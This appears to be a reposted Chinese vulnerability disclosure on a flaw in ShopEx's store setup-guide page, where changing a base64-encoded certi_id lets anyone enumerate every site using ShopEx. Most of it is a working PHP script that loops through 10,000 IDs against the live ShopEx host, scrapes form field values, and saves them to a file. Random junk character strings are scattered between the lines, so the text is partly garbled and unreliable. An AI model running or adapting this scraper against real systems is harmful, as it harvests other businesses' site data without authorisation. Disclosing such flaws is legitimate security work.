ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
* V- i# J; Y/ G& \ShopEx某接口缺陷,可遍历所有网站
5 q% {% m' V! x7 a3 W4 J1 A) J详细说明：
问题出现在shopex 网店使用向导页面



0 L; [! }- ^( ?5 W: _http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

0 _/ ~$ J: e6 S$ f- s8 p
! {  \8 i6 m5 i, F  x9 z) I) F8 |
8 q3 {( h  A' B& Irefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
. W- X* A" P6 x2 D5 y1 N

# @( j: a# {' k% C( X7 D* ~5 C
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
# e* T; b1 N  k" S
. x. ^' d+ g8 C0 u% w7 T  T
0 }& k& |0 }' t/ x7 M. d! I
% I4 C5 M6 e5 }" s( S  _: c3 U# }<?php

$ J7 e1 i) T% U( o( X+ \                for ($i=1; $i < 10000; $i++) { //遍历
  J: V0 t0 G1 O% P: X) b& T
6 X/ ]! N" `' z( P" x                        ShowshopExD($i);
. `+ E  C# F0 v3 h+ n
                }
" l7 A. w: j; F) f1 \: W! Y
/ G1 P* \$ ~6 ]* \2 Z3 o( m                function ShowshopExD($cid) {
, w; P# N) I5 I
                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
  c& @3 |2 J, {8 d
8 Y5 k" C  {6 P/ M1 X% p        $url = $url.'?refer='.$refer;

+ E& ~/ u: @- r: |& \% H        $ch = curl_init($url);
$ @% f8 C& q, w+ W/ ^( |
  V1 m4 E( p8 d' D7 m        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

. O. g% P) V2 _; J3 I) \        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
3 R$ }0 s& |. d6 z5 [
. C: K" T, e5 R# W2 g, b        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
) w9 q4 C: V( u" y! j/ u
2 J! K- k5 H& ?4 O( B        if(strpos($result,$refer))
* R* f% U' T) G. l: D0 Q* y
$ k/ m/ I* G' }1 |        {

! O; P* o" B  l4 N/ m                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

# `, b; p) p" y& c& F9 N) ~- V                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {
3 F( T* m& D6 @* Z/ S: V& p
5 D" k7 ^. Y9 I6 Y$ z                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

% F4 N. [1 o+ x7 U( [                        echo $res[1][0].':'.$res[3][0]."\r\n";
0 z* [) g6 j8 k. v  O0 t. }8 V
                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
# ^% Q: }2 ]1 I( m. G
                }
2 x: W/ p( y5 I
" q* i# m; O, h: X9 E3 c7 z                echo '--------------------------------'."\r\n";

                fclose($fp);

: n3 |5 [% a, x: V9 q1 }  e, {        }

        flush();
5 r$ U7 ?: }: K: |
        curl_close($ch);

0 P6 h' v7 s+ l                }
  p; x  y* B6 w9 R! o
?>
漏洞证明：
! U! E. u* l0 ]* H; ^http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
6 j( f4 E& m& Z& P$ }' M3 X" P5 Frefer换成其他加密方式
9 @* d7 G3 m* d6 j  J